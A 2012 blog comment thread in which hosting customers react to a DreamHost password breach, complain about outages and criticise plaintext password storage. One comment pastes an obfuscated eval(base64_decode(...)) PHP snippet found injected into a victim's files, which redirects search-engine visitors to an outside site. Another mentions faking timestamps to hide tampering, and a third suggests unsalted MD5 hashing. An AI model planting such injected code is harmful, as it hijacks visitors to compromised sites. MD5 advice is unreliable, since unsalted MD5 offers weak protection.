(Note, for the shell account created on Oct 11, 2012, the password is pretty damn unique and unlikely to be used coincidentally but any other Dreamhost user. Thus, in Dreamhost’s eyes, it would be a safe password/account, and therefore, not subject to needing a reset.)
Disclosure: The above may or may not be true, in whole or in part, but considering the facts, I think my claim has a high probability of being true. Dreamhost has not provided me with any of this information. Instead, I have simply made my assessment based on personal knowledge of my account’s shell/ftp usernames, passwords, and creation dates. Your mileage may vary.
January 21st, 2012 at 8:33 pm
Correction: the shell account I mention was created on October 11, 2011.
January 21st, 2012 at 8:44 pm
PS, the reason why Dreamhost is not likely to require a change of user’s email passwords is because the compromised shell accounts were of the following nature.
username: janedoe
password: fluffy
In order to access an email account, a hacker would need to also know the domain.
username: janedoe@somedomain.com
password: fluffy
The perpetrator who accessed the compromised database table presumably did not gain access to a list of which shell accounts are linked to which domains. And thus, the perpetrator would not have the “@somedomain.com” necessary to use the compromised credentials to login to a domain. I suppose that the perpetrator could try all the compromised username/passwords against all the domains known to be hosted at Dreamhost. However, I also suspect that Dreamhost has security measures in place to protect against repeated unsuccessful brute force attempts against domains and/or from a specific source IP address.
January 21st, 2012 at 8:47 pm
Thanks for the post – I know this is one of the worst things a company can go through. I just want to say I appreciate DreamHost’s candor, quick responses, the consideration and professionalism your staff has shown during this event.
The breach has caused my company some of its own problems downstream, but we appreciate the work you have done to address these issues.
I do want to make one constructive criticism – echoing some of the negative responses you’ve already received, I would really appreciate seeing DH change its systems to make passwords one-way hashed, not encrypted.
I’m not sure what services/features you offer that require passwords to be retrievable, but whatever they are, the risks that this approach creates are almost always unacceptable.
Thanks!
January 21st, 2012 at 8:52 pm
Thank you.
We appreciate your response to this situation.
January 21st, 2012 at 9:45 pm
There are a lot of people on here speculating about this, that and the other, but without any facts to base those speculations on. All I want to say is thanks to Dreamhost for getting the thing fixed promptly and with a minimum of hindrance. Yes I spent most of today with my clients sites and making the changes, but DH are doing what is expected of them – due diligence. Thanks guys, I’m sure you had a lot of coffee to keep yourselves going. I have about 2 dozen sites hosted here, there is a reason to stay here too. Keep up the great work.
January 21st, 2012 at 9:47 pm
Simon, I was up today at 6am CST since I host a weekly web/internet tech podcast here in Minnesota. As a consequence all day long I’ve been monitoring this, attempting to get my password changes accepted in your queue, interacting with customer support, and here it is 11:45pm CST and nothing works.
Not only can I still not use SFTP to get in to my domains, all my sites are offline. I’ve had clients pinging us by email all day (there is a big trade show going on in Frankfurt, Germany and we just launched a new product last week people there are trying to access) wondering WTF is going on.
So imagine if your power company knocked you offline and you didn’t have backup generators. They did a few infrequent updates and sent you an email, but you’re effectively out of business. THAT is how I feel.
The other thing is that one of our businesses is site and web app development and we have historically recommended DH to our small clients due to our previously good experiences. I’ve had these clients pinging me all day as well.
To say that this is causing a negative impact on my businesses is an understatement. To say that I’m so f’ing pissed I can’t see straight is also one. While I appreciate what you’ve done thus far, and no question the ramifications of this security breach will likely cause DH to lose many customers, you are not doing enough.
January 21st, 2012 at 10:38 pm
Hi all, we have had our full strength support team on duty all day working quickly on any issues you may be having with your reset passwords. Plus assisting on the usual range of support services. The best way to get the fastest assistance is to submit your support issue through the panel, because we can’t necessarily identify your account or trouble shoot your issue from the information on a comment post here. Thanks for bearing with us as we work through your requests.
January 21st, 2012 at 10:46 pm
It would have been nicer, honestly, if all accounts had been restricted, allowed to login, and had a message to this effect displayed prior to being kicked off demanding a password change. I would have gotten the information much sooner.
January 21st, 2012 at 10:57 pm
you state it does not appear that any significant malicious activity has occurred on any customer accounts as a result of the illegal access
then why were many of my sites php fils infected with base64 coding ?
eval(base64_decode(“DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29udGVudG8uYmVlLnBsLyIpOw0KZXhpdCgpOw0KfQ0KfQ0KfQ0KfQ==”));
January 21st, 2012 at 11:04 pm
Simon you said, “The best way to get the fastest assistance is to submit your support issue through the panel, because we can’t necessarily identify your account or trouble shoot your issue from the information on a comment post here”
OK Simon…can you tell me why then:
a) My ticket #4694291 entered Jan 21, 2012 – 09:44:24 has gone unanswered nearly THIRTEEN HOURS later?
b) Why my ticket #4695917 entered Jan 21, 2012 – 21:34:00 has gone unanswered OVER THREE HOURS later?
In addition…
c) Why my comment above to you got no response?
d) Why my tweets to @DreamHostSimon @DreamHostCare @DreamHost over the last HOUR+ have had zero response?
I think I’m a reasonable guy and appreciate what you and your team must be going through. But over 19 hours of all sites being offline and 12 hours for a ticket response is not reasonable.
January 21st, 2012 at 11:17 pm
By the way Simon, many people have been publicly slamming frustrated commenters on various status posts basically saying “you get what you pay for with a $10/month host.”
I’m a VPS customer paying over $70/month now.
I have spent $150/month for dedicated ecommerce in the past from another dedicated ecommerce provider so I’m willing to pay for performance and have not been receiving it at DH (e.g., continually getting emails about expanding memory in my VPS though I’m well under my set 1.5GBs; sites are slow; now this issue).
Yes, all customers should be treated equally but I’d think a VPS one would at least get his support tickets responded to in a timely fashion.
January 21st, 2012 at 11:25 pm
You know guys, there is no reason for you to store passwords in clear text!
January 21st, 2012 at 11:28 pm
To speak to James’ point, something fishy is definitely going on here because I’ve noticed the exact opposite:
All of my more *recent* users have had their passwords reset, whereas my very old (over 4 years) username has not been touched. I don’t think we can safely say the “legacy” database contains old accounts then.
What I did notice though is that the users whose passwords were reset were all on apocalypse, and the very old user whose password remained unchanged is on kabul. If anyone can verify whether they’ve been reset or not and on which server their user resides, I’m likely to bet apocalypse was the affected server (even though it’s newer than kabul). Can anyone confirm they are seeing the same?
January 21st, 2012 at 11:35 pm
Simon, my web site and email have been down all week. I have sent emails with no clear response. I changed the passwords as required in your email today, and my site and email are still down. What do you suggest I do? This is totally unacceptable.
January 21st, 2012 at 11:41 pm
If there is a reason for a password then there is a reason to encrypt the data. End of story.
January 21st, 2012 at 11:54 pm
Simon: Here is *my* status update.
I’m fully aware I’m being a complete dick. But if you were in my shoes — having clients emailing like crazy wondering WTF was going on with our ecommerce site since they want to buy — coupled with the small biz clients I serve whom I’ve recommended they host at DH and are now wondering if my team and I know what we’re doing.
One client just said to me in an email from France that just arrived, “Maybe if you used a *real* hosting company instead of a cheap one, you wouldn’t have this sort of problem”.
Ouch.
So yep, I’m going to be a dick until my sites are back up and running. Maybe no one is working?
Here are my outstanding tickets…the first one submitted over 14 hours ago:
Ticket: #4695998
Subject: Sites are *still* down, NO FTP
Submitted: 12 secs
Ticket: #4695975
Subject: FTP/Shell Password Not Working AND All Sites Down
Submitted: 37 mins 28 secs
Ticket: #4695917
Subject: Sites are *still* down, NO FTP
Submitted: 2 hours 14 mins
Ticket: #4694291
Subject: Why no status updates?
Submitted: 14 hours 4 mins
January 22nd, 2012 at 1:08 am
Geez, I’m reading the posts with some people so upset… but how hard is it to change your FTP Password? I changed my password on the Panel, now I’m good to go, no problems, no issues, all well and dandy, happily uploading and downloading via FTP all day….
January 22nd, 2012 at 1:40 am
Thanks for staying responding a potential and spelling it all out in a way a non-techie (that would be me) could understand.
Several of my clients are with Dreamhost and when they asked me about the email about the passwords, they were all HAPPY that Dreamhost was on top of this.
January 22nd, 2012 at 1:44 am
Dear @Simon Anderson.
Just some piece of advice: The more the public knows about that huge blunder, the bigger is the need for a CEO to admit in public ‘yes – we didn’t store passwords in one-way encrypt – and the guy who decided that is from now on not working at DH anymore’. As long as that is not admitted, more and more customers will seek other providers, and DH will likely bleed.
Yet another piece of advice: Your blogs and information flow indicate that DH support stamped the matter as ‘resolved’ at about 10 PM, and then the last supporter went home to bed. No communication from DH source occured until next morning Pacific time. So European customers (and everywhere else abroad) are really left alone when something gets stuck during prime business hours. It also hurts @Steve Borsch and all your other customers with European target groups.
Last piece of advice: Know your target group – a lot of them are familiar with basic computing security. Even Charles Pfleeger covered one-way password encryption in ‘Security in Computing’ from 1989 (p. 231). This is basic stuff in the datamatician education. Was one of your system programmers ill that day? And is he/she still with you?
And dear @Steve Borsch.
I hope that we will be able to find competent competitors to DH soon. Sad thing is, technical specifications are sometimes hard to retrieve from other providers, but this plain-text PW issue also justs changes my recommendations to my audience. Btw, I’m teaching web development technology and security at web education in Denmark, and thanks to DH, here’s just good real-world stuff for my security coverage in class.
I wonder, how DH would prefer this issue to be covered – ‘please don’t tell that we stored pw’s in plaintext’, or ‘please don’t tell that we wouldn’t admit it’, or ‘please don’t tell that support was closed during European daytime’.
And to all you fellows with PHP applications. Yes, if your FTP pw was revealed, your MySQL password (including PhpMyAdmin) are ALSO easily accessible. So change them, too, but your applications will be down during change time a.s.o…
I was a satisfied customer – until DH was taken with the pyjamas down.
January 22nd, 2012 at 1:53 am
OK, a second change of password on the panel finally pushed it through to my private server.
January 22nd, 2012 at 4:35 am
I wonder if the people who are using FTP (instead of SFTP) understand that they are broadcasting their passwords across the Internet in plain text.
No one I know still uses ‘telnet’ because no host supports it. They support ssh for shell accounts.
But somehow FTP is still supported.
This is not the first time that Dreamhost’s security has been compromised due to FTP being supported. Unless they stop supporting it, I suspect it won’t be the last.
January 22nd, 2012 at 6:02 am
Never received any noticfication from Dreamhost that passwords , infections , viruses , or domains were down. I had to find out on my own.
January 22nd, 2012 at 6:39 am
Thank you DH for being proactive and we appreciate your hard work everyday. You can’t make everybody happy. Crap happens, and I personally appreciate what you are all doing to take care of your customers.
@ Steve Borsch, I recommend some professional help. You seem very obsessed. The world has not ended. Websites go down. They will be up again and life will go on.
January 22nd, 2012 at 7:07 am
Kirk… ls-la is useless as you can use ‘touch’ to change datestamps and then clear history
January 22nd, 2012 at 7:17 am
Site down again January 22, 2012.
We are so out of here. Our site is continously down and we pay $30.00 a month. Should have kown something was wrong when a company doesn’t give you the ability to call them and doesn’t provide 24/7 technical support. We belong to several blogging groups and Dreamhost doesn’t not have a good reputation.
What a shame we have been with Dreamhost for 2 years.
January 22nd, 2012 at 7:39 am
Brand new customer, moving our fundraising system to one of your VPS’s. Haven’t been able to FTP or Shell into my account for days.
“Customers who have ongoing concerns can contact our support team through the web panel” – good one!. Mostly I get automated responses, when I do hear back from an actual tech, the problem doesn’t get fixed.
Hope this gets remedied soon.
January 22nd, 2012 at 8:06 am
A well written blog post, done by a lawyer.
Dreamhost has had a very bad week. And it continues.
As of right now, 11:03 AM EDT, all my sites are down again.
Maybe Dreamhost needs a CEO who has some concept of what results when there aren’t enough technical support personnel available to keep a web hosting company functioning properly, let alone respond to issues faced by its customers.
Mr. CEO, you have some major problems with your company. Frankly, I don’t think you have the skills to fix them.
January 22nd, 2012 at 8:09 am
As a precaution I changed mine anyway. After all, they are visible in my config files for wordpress. I suspect if someone could ftp to the site, they could read the config files.
January 22nd, 2012 at 8:10 am
Can we see the un-authorized login ips?
Because it’s quite horrible that we are facing a high security breach.
January 22nd, 2012 at 8:11 am
Dear folks,
1) Dreamhost is NOT a reseller caliber provider. Never has been, never will be. They do a fine job with cheap “good enough” shared hosting. Want anything beyond that? Go elsewhere and pay more.
2) Acting childish in this space won’t change #1 or get you better service.
January 22nd, 2012 at 8:13 am
Nope, my sites were ok but I am worrying about the declaration. How come all sql passwords have been compromised?
January 22nd, 2012 at 8:29 am
My site http://www.monticellolive.org won’t let me even login to it and i e-mailed your support@dreamhost.com and sales@dreamhost.com and i have not got a single reply back from them in a year so pleases tell them to e-mail me back and everybody too and start replying back to your comments on your dreamhoststatus.com comments
January 22nd, 2012 at 8:42 am
Simon and company,
Bottom line, THANK YOU for your transparency and openness. Makes me more loyal then ever… For every one or two steps backwards, we always make three to four steps forward as a result – a GIANT step forward with our defenses, etc.
Thanks again and happy to be a part of the Dreamhost family!
Rob
January 22nd, 2012 at 8:47 am
why is my comment still saying Your comment is awaiting moderation
January 22nd, 2012 at 8:49 am
So when will these new passwords take effect, says a few minutes, but its been a while. Did all the comments scare off the CEO from replying?
January 22nd, 2012 at 9:01 am
@Sam Nelson said, “@ Steve Borsch, I recommend some professional help. You seem very obsessed. The world has not ended. Websites go down. They will be up again and life will go on.”
You are absolutely right. I do need some professional help. On the web hosting side. Am I obsessed? Yeah, WITH MY CUSTOMERS and >29 hours of downtime is why I’m acting as such a squeaky wheel (my sites are up right now with a temporary fix by DH, and the support guy was very accomodating).
January 22nd, 2012 at 9:08 am
DH team:
Sorry that this happened, but still you’re the best option in cyberspace. I really appreciate the transparency, it would have been easy not to say anything and blame the customer for not securing their passwords if something happened. I sadly know from experience that this happens.
Perhaps the Tech Support part has some detractors, but I would ask them to evaluate DH compared not to perfection, but to the state of the art in shared hosting out there. DH in my book is way on top, but if you feel there’s better, why not change?
Keep up the good work, and thank you for being so candid.
Keo.
January 22nd, 2012 at 9:20 am
the dreamhost support team has not answer any of my e-mails i sent to them about my site needing fixed
January 22nd, 2012 at 9:21 am
My mail/ftp passwords doesn’t working today (i changed passwords yesterday) . But the most important is that DH informed and whole time informing what’s going on, never seen that on any other hosting, on cheap or expensive one. So i don’t have any “madness” to DH but only “thank you” for doing good job:)
January 22nd, 2012 at 9:30 am
@Monticello I’m bet they got 1000 mail per hour and You asking them to answer Your mails fast?
January 22nd, 2012 at 9:39 am
@FS they have not answered any of my e-mails i asked them to fix my site http://www.monticellolive.org
January 22nd, 2012 at 9:40 am
Wow, you had a “legacy database” of plaintext passwords lying around? Such a thing should never even be created, or even be ABLE to be created in your environment, let alone get stored and forgotten somewhere.
Dreamhost is the most lackadaisical and unprofessional hosting company I have ever seen. Remember the time you charged all your customers $120 because of a “fat finger” incident?
I know everyone hates “process”, but this crap is why process exists.
January 22nd, 2012 at 9:55 am
> SQL passwords were not compromised.
Lucia is 100% correct! SQL passwords -were- compromised! They are usually stored in the configuration files on the file system. And these are 100% accessible through SSH/FTP/SFTP! So yes, by all means assume that your passwords for your databases have been compromised as well!
January 22nd, 2012 at 10:32 am
@Sam Nelson
“Thank you DH for being proactive and we appreciate your hard work everyday. You can’t make everybody happy. Crap happens, and I personally appreciate what you are all doing to take care of your customers.”
How is having to reset passwords because of incompetent developers/management being proactive? Being proactive would have been to not EVER store any data that is sensitive in plain-text in the first place. I have trouble understanding how any one is happy that your data/customers could have been compromised because of complete laziness.
January 22nd, 2012 at 10:39 am
Well thanks for the openness. It is appreciated.
It’s also good that you don’t claim to be a cloud. Cause it would be a major turn off as many idiotic hosts and resellers have started to call themselves the Cloud. I hope it rains on them.
January 22nd, 2012 at 10:41 am
Once again people come and have a good old moan. The human species really does contain some weak DNA. Most of you are paying peanuts and still expect both perfection and infallibility. Just be VERY VERY thankful that they managed to detect it at all as I can speak from experience, being a security expert, that many places wouldn’t even know they’d been compromised. It sounds like they made a mistake storing the passwords in plain text for sure but these kinds of things happen no matter where you are and no matter how good you are. But they fessed up, put it right, gave a clear outline of what happened. Professional and prompt.
I get tired reading about the endless misguided people running endless “mission critical” services expecting to get a 24/7 service which never has problems. You’re idiots. Complete and utter idiots and you make my blood boil with your incessant whining. “Passwords are taking a long time to update” Really? Are they really? Well THERES a shock – a system designed to handle x password resets a day suddenly gets x*1000 that amount or more and buckles under the strain (but I hasten to add doesn’t completely fall over) and you come here to moan? Get over yourselves.
But no wait there are other moans “Tech support didn’t respond to me and my pissant site is down. I pay $130 a year dammit how DARE you not respond to me with 15 seconds” Unbelievably sad and incredibly stupid. They just hit the ENTIRE user community with a password change who then immediately hit tech support oblivious to the fact that they can’t access any more because their password is reset (mostly because they couldn’t be bothered to read email/website/webpanel) etc. And you expect that NOT to have a massive impact and detrimental effect on tech support? You don’t think past your own selfish, ignorant little worlds
I’ve said this in other posts and I’ll say it again. If you want a fully resilient, guaranteed uptime, instant support and other such things then go and damn well pay for it. You just want everything for nothing. With Dreamhost you get a staggering amount of service for a pittance and those of you moaning here have no idea whatsoever of the value you get. What sickens me most is you’ll pay more for a couple of latte’s from Starbucks than you do for hosting here for a month and I bet you don’t moan at Starbucks that you’re pissing that money down a toilet 12 hours later. But sure as eggs are eggs the second theres the slightest little (or major) hiccup here you come and whinge about how bad everything is. Grow up the lot of you.
Dave
January 22nd, 2012 at 10:45 am
@Dave
Well put, my friend. I wish this blog had a “Like” button as Facebook does.
January 22nd, 2012 at 10:53 am
I can’t seem to upload images to my blog using wordpress. I have to manually upload using FTP then set the link manually, which slows down my blogging. Is there any way to fix this? Perhaps I need to reset the config files or change the password settings in the database to what I already changed them in the Dreamhost panel?
BTW, I just wanted to say I appreciate Dreamhost taking the steps necessary to protect us. Mistakes happen, sometimes employees do retarded things that we find out about later. I know it happens. Glad you didn’t try to cover it up. Thanks for being real.
January 22nd, 2012 at 10:54 am
I’m looking for a new hosting company, after 10 years with Dreamhost. The last several months have see my 6 websites constantly hacked and malware installed. This is the hosting companies responsibility to keep all our hard work safe. FAIL.
January 22nd, 2012 at 10:56 am
how can i fix my site
January 22nd, 2012 at 11:10 am
.
Step 1.) Tell people they should use you as a hosting provider, even though you can’t keep FTP passwords secure from hackers.
Step 2.) Take people’s money.
Step 3.) Not refund anyone for their frustration when you force users to change passwords because you let a hacker get access.
Step 4.) Not give a fuck and still keep money, thinking that just telling people what is going on is enough to satisfy them.
.
January 22nd, 2012 at 11:13 am
People say “these things happen”. These things don’t happen to top tier hosting companies, because they know how to safeguard against it. Dreamhost should probably consider just reselling Amazon Web Services hosting, instead of using their own hardware and team, because AWS has their shit together. Dreamhost doesn’t. Dreamhost are amateurs.
January 22nd, 2012 at 12:15 pm
@Herp
What this Amazon?
http://www.theregister.co.uk/2008/02/15/amazon_s3_outage_feb_2008/
or this Amazon?
http://blog.rightscale.com/2011/04/25/amazon-ec2-outage-summary-and-lessons-learned/
Or maybe you mean password compromise
InMotion hacked this year
http://www.hackingne.ws/inmotion-web-hosting-hacked-thousands-of-websites-defaced.html/
or Distribute.IT who were comprmised and lost ALL their data
http://www.smartcompany.com.au/internet/20110622-4800-websites-destroyed-after-hacking-attack-on-web-hosting-firm-distribute-it-sme-victims-speak-out.html
or Network Solutions
http://www.ottaway.net/news-events/major-web-hosting-company-network-solutions-is-hacked-again/
or GoDaddy
http://www.blogtips.org/godaddy-sites-hacked-again/
and again
http://blog.sucuri.net/2011/09/godaddy-shared-servers-compromised-htaccess-redirection-to-sokoloperkovuskeci-com.html
You sir are EXACTLY what I referred to in my previous post. It in no way makes the situation right or better but it’s certainly shows Dreamhost no worse than any other provider, especially the major ones who have, in fact, been MORE vulnerable not less.
It’s just knee jerk (with an emphasis on the jerk) reactions of people who don’t know or understand what they’re talking about past some utopic view of the world based on their extremely blinkered view.
D
January 22nd, 2012 at 12:52 pm
Dave Richards… well said. I just printed your post and will frame it on my wall. I feel for the people who were severely impacted by this, but more so because they should take precautions if their stuff is really mission critical. I use Dreamhost for hundreds of domains, but none of them are meant to be bulletproof. If I need that, I go dedicated, and use Linode or a similar service, at tremendous expense. I recommended Dreamhost yesterday, and I will recommend it again tomorrow for folks who want a good blend of functionality and affordability. Want uber-availability and perfect security? Call me, I will only charge you $350/hr dev/admin plus $2k/month per dedicated server.
January 22nd, 2012 at 12:53 pm
On the question of how a new password can be displayed after a reset if it is not stored, the answer is that when you submit the form with your new password the server spits it back out on the page without storing it.
January 22nd, 2012 at 1:04 pm
ATTENTION ALL: Log into Dreamhost control panel.
Goto MySQL Databases
Click on any “Users with Access” on a database
Scroll down to “Would you like to change ##########’s password
What do you see?
Currently: “##the plain text password##”
WTF
My response from support almost a year ago after finding this was “if you don’t like the way we do things find another host”
Seriously, i have a copy of that ticket, and it still unbelievably is in my support history. They didn’t delete this one of all the many errors they have done and I have found and have deleted. I log everything for legal reasons.
January 22nd, 2012 at 1:11 pm
I’m really concerned about this–Dreamhost, can you confirm whether or not NEW FTP passwords are being stored in plaintext?
When I update my FTP password, I get:
“Success! Successfully edited user (USERNAME)! Their new password is (MY_PASSWORD_IN_PLAINTEXT). The changes will take a few minutes to take effect.”
I cringed the first time I saw this, and out of laziness, I’d hoped Dreamhost was somehow just passing along my new password on the frontend, but this raises enormous concerns. I’d hoped Dreamhost was somehow just passing along my new password on the frontend, but is that password actually being STORED and RECALLED in plaintext to display it here??
January 22nd, 2012 at 1:24 pm
You know what would be really cool? If when I changed my password as required, the system would actually recognize the new pass within a reasonable amount of time.
So far I changed my pass 3 times, waited up to 30 minutes for the magical process that allows the changes to take effect, and still have no FTP/Shell access to over 50 of my clients’ sites.
Never have this problem with HostGator, HostNine, Site5, VPS.net, Xilo, or any of the other hosting companies I work with. Ever.
Just my 2 cents.
January 22nd, 2012 at 1:29 pm
Just a heads up DH, the FTP passwords are now broken. Sounds like other people are seeing the same thing. When you update the password, you get a success message, but you cannot log into FTP.
January 22nd, 2012 at 1:31 pm
LET ME INTO MY ACCOUNT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
This is UNACCEPTABLE!! I don’t know what host the people on here who are singing praises of functionability and reliability have been using over the past few years, but it ain’t the Dreamhost that I’ve been using, because this incident is just another in a string of what seems to be every-increasing DUMB system-wide snags which hold up MY PRODUCTIVITY and I don’t care why!!
I have created a new password TWO TIMES for my FTP twice now. It’s been over an hour and no dice.
January 22nd, 2012 at 1:32 pm
P.S If anyone can recommend a smoothly operating hosting service that actually has customer service, now would be a fantastic time. Thanks.
January 22nd, 2012 at 1:36 pm
Passwords take almost an hour to update on any change, Email, FTP, SQL.
This has been ongoing since the beginning of Dreamhost and never addressed.
Maybe now it will since 100% of customers are complaining.
It is NOT just because of the mass passwords being changed.
…And if it is, maybe Dreamhost should move there memory slider a little more to the right ( /canned response ) :P
January 22nd, 2012 at 2:24 pm
I’m going to have to differ with the claim of “transparency”. I was lead to believe is was just me for a good 48 hours.
The crisis came as an explanation for about of week of frustration performing long haul web-mastering tasks.
It was confused with an equipment upgrade. There was a deletion of post. That said “all but 2 accounts have been recovered” . I was out dead for a good 24 hours wondering if my account was one of the 2 accounts with problems.
January 22nd, 2012 at 3:01 pm
Coincidentally, my credit card number was stolen and used yesterday. Then I read of the security breach at DH. Could this be related? I’ve never had my number stolen before.
January 22nd, 2012 at 3:08 pm
Great job guys, thanks for the post Simon.
January 22nd, 2012 at 3:09 pm
What would be nice would be if Dreamhost did not lie to its customers. When all this happened, I changed not only my user sftp/shell password but also my mail passwords. The new mail passwords worked fine for a day. Then they magically and mysteriously reverted to what they were before I changed them. That should be impossible! When I change a password, all record of the previous password should be overwritten. Instead, it happened the other way: Dreamhost did some sort of restore without telling us, and overwrote the new passwords with stale passwords that it was keeping somewhere else. There is stuff going on here that we’re not being told – plus this sort of folderol makes it very hard to check one’s email.
January 22nd, 2012 at 3:41 pm
I’ve had 7 lovely years with Dreamhost, good price, decent uptime and generally good (and always friendly) support.
On this I’ll give the benefit of the doubt – hacks happen, you acted swiftly and it’s taken a long time to change passwords, email 300,000 users, and deal with said users trying to change their passwords. A painful learning experience and I’m sure it’s been hell for support and the whole team.
What worries me is the issue of plaint text storing of passwords.
– firstly, could I have been in that list who was accessed? And in a way which connected me to my email address / name ? That’s important as it would mean I need to change *other* passwords on *other* services as well.
– secondly, as per the comments above, has Dreamhost now stopped storing and emailing plaintext versions of passwords? Like many I’ve always wondered but never been too worried til today (or ironically Friday night before when someone commented on Twitter how weird it was that name.com were sending out plaintext passwords and I thought, hmm, Dreamhost does that too). Please confirm if this policy has now changed or is about to.
thanks
January 22nd, 2012 at 4:07 pm
Simon Anderson, I respect you and I respect DreamHost, and would just like some simple questions answered:
1: Why did you have this table of plaintext passwords in the first place? My guess is that it had something to do with the password change feature and its way of warning you “your new password cannot differ from the old one only by case” that some users pointed out?
2: You call this a legacy table. When was it last updated? I had actually changed ALL my user passwords and email passwords on January 5th, 2012. Was my data in that table or am I safe?
3: What columns were in the table? I am guessing machine (like beid.dreamhost.com), username and password, and probably the account ID of the DH account that owns that user. Anything else that was lost?
4: Are you SURE this is all the hacker got access to?
These are VERY important questions. Please do not ignore them.
Looking forward to a response, Simon. F5 F5 F5,
Richie
January 22nd, 2012 at 4:11 pm
When I first started with DH years ago, they would always show you the passwords for user accounts when you edited the account in the panel. That was unwelcome to some of my users who had used passwords they had used for years for just about everything and had never told another sole, only to have me quote it back to them. I knew at that time they must be keeping passwords either in clear text or in a reversible encryption. Perhaps that is the origin of this left-over table.
Thankfully they stopped doing that after some time and I had hoped they had gone with some sort of one-way hashing method, since there should never be a need to see a password, ever.
I worked for a web hosting company a few years back and I can tell you that the hacker attempts are non-stop. Not only do hackers target the web hosting company systems directly, but they also attack the user websites as they are generally the most vulnerable. Users tend not to keep their software up-to-date with the latest security fixes, they install unproven and buggy software, etc. They are open targets and believe me, the hackers know every exploit of every popular piece of software out there. So for a lot of you claiming your sites have been hacked recently, first look to your own software installations before blaming DH. Not saying it couldn’t be a problem with DH security, but it’s not always the case.
Now that being said, it’s even more reason to be sure that there is no sensitive data stored anywhere on DH systems.
I certainly hope that my credit card information is not being stored there in any manner. I would also hope that when they show me my credit card into, that is coming from the payment provider and not the DH database. If so, I would like the option of wiping out any stored credit card info and I will gladly type it in on a one-time only basis during renewal time.
January 22nd, 2012 at 4:41 pm
UPDATED TO ADD QUESTION 5:
Simon Anderson, I respect you and I respect DreamHost, and would just like some simple questions answered:
1: Why did you have this table of plaintext passwords in the first place? My guess is that it had something to do with the password change feature and its way of warning you “your new password cannot differ from the old one only by case” that some users pointed out?
2: You call this a legacy table. When was it last updated? I had actually changed ALL my user passwords and email passwords on January 5th, 2012. Was my data in that table or am I safe?
3: What columns were in the table? I am guessing machine (like beid.dreamhost.com), username and password, and probably the account ID of the DH account that owns that user. Anything else that was lost?
4: Are you SURE this is all the hacker got access to?
5: You say that we should all change email passwords too. Why? In my case, they were last changed on January 5th, and had nothing to do with ANY other password I own. Why should I change these if the hacker didn’t get access to them? Please clarify what you know about the hack and what got out.
These are VERY important questions. Please do not ignore them.
Looking forward to a response, Simon. F5 F5 F5,
Richie
January 22nd, 2012 at 4:59 pm
OK, so you guys changed my FTP passwords, thank you, and can you direct me how I can create new passwords so I can FTP into to my websites? I have spent a long time searching, and they are probably right in front of me, but I don’t see and need your help. Thank you. Ganeles
January 22nd, 2012 at 5:03 pm
I for one, really appreciate the transparency of the situation. I was able to change FTP access with no problems. No harm done. Thanks Simon
January 22nd, 2012 at 5:10 pm
@Ganeles: Go into Manage Users to the left, then click “Edit” on a user, and you can either fill in a new pass, or check “Generate a new password for me” and hit Save and you get the new one. Takes like 10-30 minutes to apply, and is ready once the stopwatch disappears from the Manage Users list.
January 22nd, 2012 at 5:25 pm
found it. I think I’m set now. Thanks.
January 22nd, 2012 at 6:09 pm
@Ganelese: You’re very welcome!
@Simon Anderson: Could you please reply to the five easy questions above? It would go a long way to clarify how we’re impacted.
January 22nd, 2012 at 7:57 pm
It’s sad to see our sites go down from time to time, because of unexpected outages like this event. However, I applaud Dreamhost’s security team and the corporate head of Dreamhost for their quick actions to protect customer info :).
January 22nd, 2012 at 8:33 pm
@Simon Anderson. Thank you for the information. I am still not clear why you say SQL passwords were not compromised. If someone has our FTP information, which I assume this security breach was all about, then they could have easily accessed the right files to grab DB and SQL information. I have tried to communicate this with your team. No one has told me why this would not be the case if someone has our FTP account (we run most of our sites using WordPress). What will keep people from accessing our WP-config file? Maybe I am confused on this issue or the security breach was not as serious as I think it is…. But thanks for taking time to update us.
January 22nd, 2012 at 8:36 pm
FYI, the feature whereby your new password is compared to your old password can be implemented without storing passwords in plain text.
For example, here’s a md5 hash of the string “password”:
5f4dcc3b5aa765d61d8327deb882cf99
Rather than storing the actual password, you store the hash. When a user changes his password, you create a hash from the new password and compare it to the old hash. If they are the same, the passwords are the same.
Hashes are one-way, so if someone gets access to your database, all they have is the hashes not the passwords.
So let’s not jump to conclusions about why DH had plain-text passwords stored in their DB.
January 22nd, 2012 at 8:50 pm
Also, FWIW, it’s easy to see how an old database table with plain-text passwords might be accidentally left around.
DH has been around for many years. Many years ago, developers and administrators were not as aware of the risks associated with storing or sending passwords as plain-text (eg the ftp protocol, which STILL uses plain-text; everyone should stop using FTP.)
